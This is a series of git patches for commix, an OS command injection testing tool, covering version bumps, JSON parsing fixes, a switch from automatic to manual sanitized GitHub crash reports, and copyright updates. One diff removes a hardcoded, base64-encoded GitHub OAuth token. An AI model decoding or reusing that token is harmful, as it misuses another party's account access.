b/src/core/injections/controller/controller.py @@ -545,7 +545,7 @@ def is_valid_param_name(name): name = name.strip() if not name: return False - return bool(re.match(r'^[a-zA-Z0-9._\-\[\]]+$', name)) + return bool(re.match(r'^[\w._\-\[\]]+$', name, re.UNICODE)) """ Define the check parameter based on the data type (POST, GET, COOKIE). diff --git a/src/utils/settings.py b/src/utils/settings.py index 2d749a4a8f..b166c1b4d3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "124" +REVISION = "125" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 06beb622db6f9b8ffe4e51f7dea4414303c750ce Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 20 Dec 2025 09:22:00 +0200 Subject: [PATCH 0654/1023] Updated to v4.1 --- doc/CHANGELOG.md | 4 +++- setup.py | 2 +- src/utils/settings.py | 4 ++-- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cf414a9347..db4b3ec7ab 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 4.1 (TBA) +## Version 4.1 (2025-12-20) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Handling of parameter names containing non-ASCII characters. * Fixed: Handling of non-ASCII characters in URLs to ensure proper request encoding. @@ -33,6 +33,8 @@ * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). * Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v4.0...v4.1)._ + ## Version 4.0 (2024-12-20) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor bug-fix regarding tamper script "backticks.py" diff --git a/setup.py b/setup.py index 29e9e5178c..dc0044a932 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='4.1.dev', + version='4.1', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index b166c1b4d3..72b0fd0f0f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,8 +261,8 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "125" -STABLE_RELEASE = False +REVISION = "126" +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM From 12cc41e0fecb553a1fc8022186ca82e7f5c9f3a3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 23 Dec 2025 11:11:25 +0200 Subject: [PATCH 0655/1023] Refactored GitHub issue reporting; automatic submission replaced by manual sanitized reports. --- doc/CHANGELOG.md | 3 ++ setup.py | 2 +- src/utils/common.py | 80 ++++++++++++++++++++++++++----------------- src/utils/settings.py | 9 ++--- 4 files changed, 56 insertions(+), 38 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index db4b3ec7ab..26df510c6a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 4.2 (TBA) +* Revised: Refactored GitHub issue reporting; automatic submission replaced by manual sanitized reports. + ## Version 4.1 (2025-12-20) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Handling of parameter names containing non-ASCII characters. diff --git a/setup.py b/setup.py index dc0044a932..5e4b3b26cf 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='4.1', + version='4.2.dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/common.py b/src/utils/common.py index fc3ae97b9b..a3e51ea70b 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -171,13 +171,16 @@ def create_github_issue(err_msg, exc_msg): key = hashlib.md5(_).hexdigest()[:8] - bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split(settings.END_LINE.LF) if i][-1]) + "\" " + "(#" + key + ")" + bug_report = ( + "Bug Report: Unhandled exception \"" + + str([i for i in exc_msg.split(settings.END_LINE.LF) if i][-1]) + + "\" (#" + key + ")" + ) while True: try: - message = "Do you want to automatically create a new (anonymized) issue " - message += "with the unhandled exception information at " - message += "the official Github repository? [y/N] " + message = "Do you want to prepare a sanitized GitHub issue report " + message += "for manual submission? [y/N] " choise = read_input(message, default="N", check_batch=True) if choise in settings.CHOICE_YES: break @@ -186,51 +189,66 @@ def create_github_issue(err_msg, exc_msg): return else: invalid_option(choise) - pass except: settings.print_data_to_stdout("") raise SystemExit() err_msg = err_msg[err_msg.find(settings.END_LINE.LF):] - request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ - _urllib.parse.quote("repo:commixproject/commix" + settings.SINGLE_WHITESPACE + str(bug_report)) - ) + + request = _urllib.request.Request( + url="https://api.github.com/search/issues?q=" + + _urllib.parse.quote( + "repo:commixproject/commix" + + settings.SINGLE_WHITESPACE + + str(bug_report) + ) + ) try: - content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() + content = _urllib.request.urlopen( + request, + timeout=settings.TIMEOUT + ).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warn_msg = "That issue seems to be already reported" if closed: - warn_msg += " and resolved. Please update to the latest " - warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" + warn_msg += " and resolved. Please update to the latest " + warn_msg += "(dev) version from official GitHub repository at '" + warn_msg += settings.GIT_URL + "'" warn_msg += "." + settings.END_LINE.LF - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout( + settings.print_warning_msg(warn_msg) + ) return except: pass - data = {"title": str(bug_report), "body": "```" + str(err_msg) + settings.END_LINE.LF + "```" + settings.END_LINE.LF + "```" + str(exc_msg) + "```"} - request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", - data = json.dumps(data).encode(), - headers = {settings.AUTHORIZATION: "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} - ) - try: - content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() - except Exception as err: - content = None - - issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "") - if issue_url: - info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'." + settings.END_LINE.LF - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - else: - warn_msg = "Something went wrong while creating a Github issue." - if settings.UNAUTHORIZED_ERROR in str(err): - warn_msg += " Please update to the latest revision." + settings.END_LINE.LF - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + params = { + "title": str(bug_report), + "body": + "```" + str(err_msg) + settings.END_LINE.LF + + "```" + settings.END_LINE.LF + + "```" + str(exc_msg) + "```" + } + + issue_url = ( + "https://github.com/commixproject/commix/issues/new?" + + _urllib.parse.urlencode(params) + ) + + info_msg = ( + "A sanitized GitHub issue has been prepared with " + + "relevant error details for manual review and submission:" + + settings.END_LINE.LF + + issue_url + ) + + settings.print_data_to_stdout( + settings.print_info_msg(info_msg) + ) """ Masks sensitive data in the supplied message. diff --git a/src/utils/settings.py b/src/utils/settings.py index 72b0fd0f0f..93f08d3426 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -260,9 +260,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "4.1" -REVISION = "126" -STABLE_RELEASE = True +VERSION_NUM = "4.2" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM @@ -1246,9 +1246,6 @@ class END_LINE: # Options to explicitly mask in anonymous (unhandled exception) reports. SENSITIVE_OPTIONS = ["--data", "-d", "--cookie", "-p", "--url", "-u", "-x", "--auth-cred", "-r", "-l"] -# Github OAuth token used for creating an automatic issue for unhandled exceptions. -GITHUB_REPORT_OAUTH_TOKEN = "YjNiYjdhZDBlYzM2MmM2NGEzYTAzZTc4ZDg1NmYwZTUyZGZlN2EyZQ==" - # Tranform payloads (via tamper script(s)) TRANFROM_PAYLOAD = None From f7c85fd19d4f8fa786e30cdc5fed3f5593f3f8d5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Jan 2026 11:56:55 +0200 Subject: [PATCH 0656/1023] Minor improvements for parsing JSON data --- src/core/injections/controller/checks.py | 13 +++++++------ src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 948eae6b54..1fa30bd57f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2011,18 +2011,19 @@ def skip_empty(empty_parameters, http_request_method): warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ Parsing and unflattening json data. """ def json_data(data): - data = json.loads(data, object_pairs_hook=OrderedDict) - data = unflatten_list(data) - data = json.dumps(data) - return data + try: + data = json.loads(data, object_pairs_hook=OrderedDict) + data = unflatten_list(data) + return json.dumps(data) + except Exception: + return data """ -"No parameter(s) found for testing. +No parameter(s) found for testing. """ def no_parameters_found(): err_msg = "No parameter(s) found for testing in the provided data " diff --git a/src/utils/settings.py b/src/utils/settings.py index 93f08d3426..1fec7068cd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8666826726492cbfcacaaeef3bf546444b8e210a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 11 Jan 2026 08:53:09 +0200 Subject: [PATCH 0657/1023] Improved JSON data handling to safely flatten/unflatten mixed nested structures --- doc/CHANGELOG.md | 1 + src/thirdparty/flatten_json/flatten_json.py | 40 ++++++++++++--------- src/utils/settings.py | 2 +- 3 files changed, 25 insertions(+), 18 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 26df510c6a..1f59d74cba 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved JSON data handling to safely flatten/unflatten mixed nested structures. * Revised: Refactored GitHub issue reporting; automatic submission replaced by manual sanitized reports. ## Version 4.1 (2025-12-20) diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 5815734e37..7ec4066a0f 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -130,23 +130,29 @@ def unflatten_list(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): # First unflatten the dictionary assuming no lists exist unflattened_dict = unflatten(flat_dict, separator) - def _convert_dict_to_list(object_, parent_object, parent_object_key): - if isinstance(object_, dict): - try: - keys = [int(key) for key in object_] - keys.sort() - except (ValueError, TypeError): - keys = [] - keys_len = len(keys) - - if (keys_len > 0 and sum(keys) == int(((keys_len - 1) * keys_len) / 2) and keys[0] == 0 and - keys[-1] == keys_len - 1 and check_if_numbers_are_consecutive(keys)): - # The dictionary looks like a list so we're going to replace it as one - parent_object[parent_object_key] = [object_[str(key)] for key in keys] - - for key in object_: - if isinstance(object_[key], dict): - _convert_dict_to_list(object_[key], object_, key) + def _convert_dict_to_list(obj, parent_obj=None, parent_key=None): + if not isinstance(obj, dict): + return + + try: + # Attempt to convert all keys to integers + keys = sorted(int(k) for k in obj) + except (ValueError, TypeError): + keys = [] + + if (keys and keys[0] == 0 and keys[-1] == len(keys) - 1 and + sum(keys) == len(keys) * (len(keys) - 1) // 2 and + check_if_numbers_are_consecutive(keys)): + # Looks like a list + if parent_obj is not None and parent_key is not None: + parent_obj[parent_key] = [obj[str(k)] for k in keys] + obj = parent_obj[parent_key] # update reference for nested recursion + + # Recursively process nested dictionaries + if isinstance(obj, dict): + for k, v in obj.items(): + if isinstance(v, dict): + _convert_dict_to_list(v, obj, k) _convert_dict_to_list(unflattened_dict, None, None) return unflattened_dict diff --git a/src/utils/settings.py b/src/utils/settings.py index 1fec7068cd..5d4f4d5da8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 38665a6b89e07d52bd39dff7a2eb04cfdba59fc8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 18 Jan 2026 10:18:33 +0200 Subject: [PATCH 0658/1023] Update regarding commit: https://github.com/commixproject/commix/commit/12cc41e0fecb553a1fc8022186ca82e7f5c9f3a3 --- src/utils/common.py | 154 +++++++++++++++++++++--------------------- src/utils/settings.py | 3 +- 2 files changed, 79 insertions(+), 78 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index a3e51ea70b..e82baabbe4 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -157,10 +157,33 @@ def show_http_error_codes(): settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ -Automatically create a Github issue with unhandled exception information. +Masks sensitive data in the supplied message. +""" +def mask_sensitive_data(err_msg): + for item in settings.SENSITIVE_OPTIONS: + match = re.search(r"(?i)commix.+(" + str(item) + r")(\s+|=)([^-]+)", err_msg) + if match: + err_msg = err_msg.replace(match.group(3), '' + settings.SINGLE_WHITESPACE) + return err_msg + +""" +Print a user-friendly message with a URL for reporting an issue. +""" +def print_report_issue(url, prepared): + if prepared: + msg = ("Sanitized GitHub issue has been generated. Submit it at: " + url) + settings.print_data_to_stdout(settings.print_info_msg(msg)) + else: + msg = ("Sanitized GitHub issue generation skipped. Report it manually at: " + url) + settings.print_data_to_stdout(settings.print_warning_msg(msg)) + +""" +Create a Github issue with unhandled exception information. PS: Greetz @ sqlmap dev team for that great idea! :) """ def create_github_issue(err_msg, exc_msg): + + # Normalize exception message to generate a stable fingerprint _ = re.sub(r"'[^']+'", "''", exc_msg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) @@ -169,97 +192,78 @@ def create_github_issue(err_msg, exc_msg): _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.DEFAULT_CODEC) + # Generate short hash used as issue identifier key = hashlib.md5(_).hexdigest()[:8] + # Build GitHub issue title using the last non-empty exception line bug_report = ( "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split(settings.END_LINE.LF) if i][-1]) + "\" (#" + key + ")" ) - while True: - try: - message = "Do you want to prepare a sanitized GitHub issue report " - message += "for manual submission? [y/N] " - choise = read_input(message, default="N", check_batch=True) - if choise in settings.CHOICE_YES: - break - elif choise in settings.CHOICE_NO: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return - else: - invalid_option(choise) - except: - settings.print_data_to_stdout("") - raise SystemExit() - - err_msg = err_msg[err_msg.find(settings.END_LINE.LF):] - request = _urllib.request.Request( url="https://api.github.com/search/issues?q=" + _urllib.parse.quote( - "repo:commixproject/commix" + - settings.SINGLE_WHITESPACE + - str(bug_report) + "repo:commixproject/commix" + + settings.SINGLE_WHITESPACE + + str(bug_report) ) ) try: - content = _urllib.request.urlopen( - request, - timeout=settings.TIMEOUT - ).read() + content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() _ = json.loads(content) + duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" + if duplicate: - warn_msg = "That issue seems to be already reported" + info_msg = "That issue seems to be already reported" if closed: - warn_msg += " and resolved. Please update to the latest " - warn_msg += "(dev) version from official GitHub repository at '" - warn_msg += settings.GIT_URL + "'" - warn_msg += "." + settings.END_LINE.LF - settings.print_data_to_stdout( - settings.print_warning_msg(warn_msg) - ) + info_msg += " and resolved. Please update to the latest " + info_msg += "(dev) version from official GitHub repository at '" + info_msg += settings.GIT_URL + "'" + info_msg += "." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return except: + # Ignore GitHub API errors and continue normally pass + while True: + try: + message = "Do you want to generate a sanitized GitHub issue report? [Y/n] " + choise = read_input(message, default="Y", check_batch=True) + if choise in settings.CHOICE_YES: + # Mask any potentially sensitive data before submission + err_msg = mask_sensitive_data(err_msg) + break + elif choise in settings.CHOICE_NO: + print_report_issue(settings.ISSUES_PAGE, prepared=False) + return + else: + invalid_option(choise) + except: + settings.print_data_to_stdout("") + raise SystemExit() + + # Trim banner/output lines before the actual error content + err_msg = err_msg[err_msg.find(settings.END_LINE.LF):] + + # Prepare pre-filled GitHub issue parameters params = { "title": str(bug_report), "body": - "```" + str(err_msg) + settings.END_LINE.LF + - "```" + settings.END_LINE.LF + - "```" + str(exc_msg) + "```" + "**Runtime Information**```" + str(err_msg) + "```" + settings.END_LINE.LF + + "**Python Traceback**```" + settings.END_LINE.LF + str(exc_msg) + "```" } - issue_url = ( - "https://github.com/commixproject/commix/issues/new?" - + _urllib.parse.urlencode(params) - ) - - info_msg = ( - "A sanitized GitHub issue has been prepared with " + - "relevant error details for manual review and submission:" + - settings.END_LINE.LF + - issue_url - ) - - settings.print_data_to_stdout( - settings.print_info_msg(info_msg) - ) - -""" -Masks sensitive data in the supplied message. -""" -def mask_sensitive_data(err_msg): - for item in settings.SENSITIVE_OPTIONS: - match = re.search(r"(?i)commix.+(" + str(item) + r")(\s+|=)([^-]+)", err_msg) - if match: - err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE) + # Build final GitHub issue URL (prefilled) + issue_url = (settings.ISSUES_PAGE + "?" + _urllib.parse.urlencode(params)) - return err_msg + # Inform user that a sanitized issue has been prepared + print_report_issue(issue_url, prepared=True) """ Returns detailed message about occurred unhandled exception. @@ -370,21 +374,17 @@ def unhandled_exception(): raise SystemExit() else: - err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. It is recommended to retry your " - err_msg += "run with the latest (dev) version from official GitHub " - err_msg += "repository at '" + settings.GIT_URL + "'. If the exception persists, please open a new issue " - err_msg += "at '" + settings.ISSUES_PAGE + "' " - err_msg += "with the following text and any other information required to " - err_msg += "reproduce the bug. The " - err_msg += "developers will try to reproduce the bug, fix it accordingly " - err_msg += "and get back to you." + settings.END_LINE.LF - err_msg += settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + settings.END_LINE.LF - err_msg += "Python version: " + settings.PYTHON_VERSION + settings.END_LINE.LF - err_msg += "Operating system: " + os.name + settings.END_LINE.LF - err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + settings.END_LINE.LF - err_msg = mask_sensitive_data(err_msg) - exc_msg = re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg + settings.END_LINE.LF + exc_msg.rstrip())) + err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. " + err_msg += "It is recommended to retry your run with the latest (dev) version from the official GitHub repository at '" + settings.GIT_URL + "'. " + err_msg += "If the issue still occurs, you can report it on GitHub by generating a sanitized report, that removes sensitive data, or by submitting the details manually." + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " " + settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Python version: " + settings.PYTHON_VERSION + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Operating system: " + os.name + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Command summary: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + settings.END_LINE.LF + exc_msg = settings.TRACEBACK + re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + exc_msg.rstrip())) + strip_ansi = lambda s: re.sub(r"\x1B\[[0-9;]*m", "", s) + err_msg, exc_msg = map(strip_ansi, (err_msg, exc_msg)) create_github_issue(err_msg, exc_msg[:]) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 5d4f4d5da8..f41c6b723b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -74,6 +74,7 @@ class HTTPMETHOD(object): RESPONSE_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " QUESTION_SIGN = Style.BRIGHT TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX +TRACEBACK = Fore.LIGHTRED_EX WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] " WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " @@ -261,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bef11679c97a3959125e3c3efcb304ca8f3ae26b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 23 Jan 2026 21:49:10 +0200 Subject: [PATCH 0659/1023] Update copyright year --- LICENSE.txt | 2 +- commix.py | 2 +- setup.py | 2 +- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- src/core/injections/blind/techniques/time_based/__init__.py | 2 +- .../injections/blind/techniques/time_based/tb_handler.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../injections/blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/enumeration.py | 2 +- src/core/injections/controller/file_access.py | 2 +- src/core/injections/controller/handler.py | 2 +- src/core/injections/controller/injector.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- src/core/injections/results_based/techniques/__init__.py | 2 +- .../injections/results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../injections/semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/randomcase.py | 2 +- src/core/tamper/rev.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/txt/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirements.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 6 +++--- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 98 files changed, 100 insertions(+), 100 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 1101c69074..a72403d125 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2025 Anastasios Stasinopoulos +Copyright (c) 2014-2026 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index f6596e9a98..48c36ade52 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/setup.py b/setup.py index 5e4b3b26cf..a4302ce496 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/__init__.py b/src/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index 536f70d678..748bbec933 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index e4adf76cec..f3a07b9a66 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- 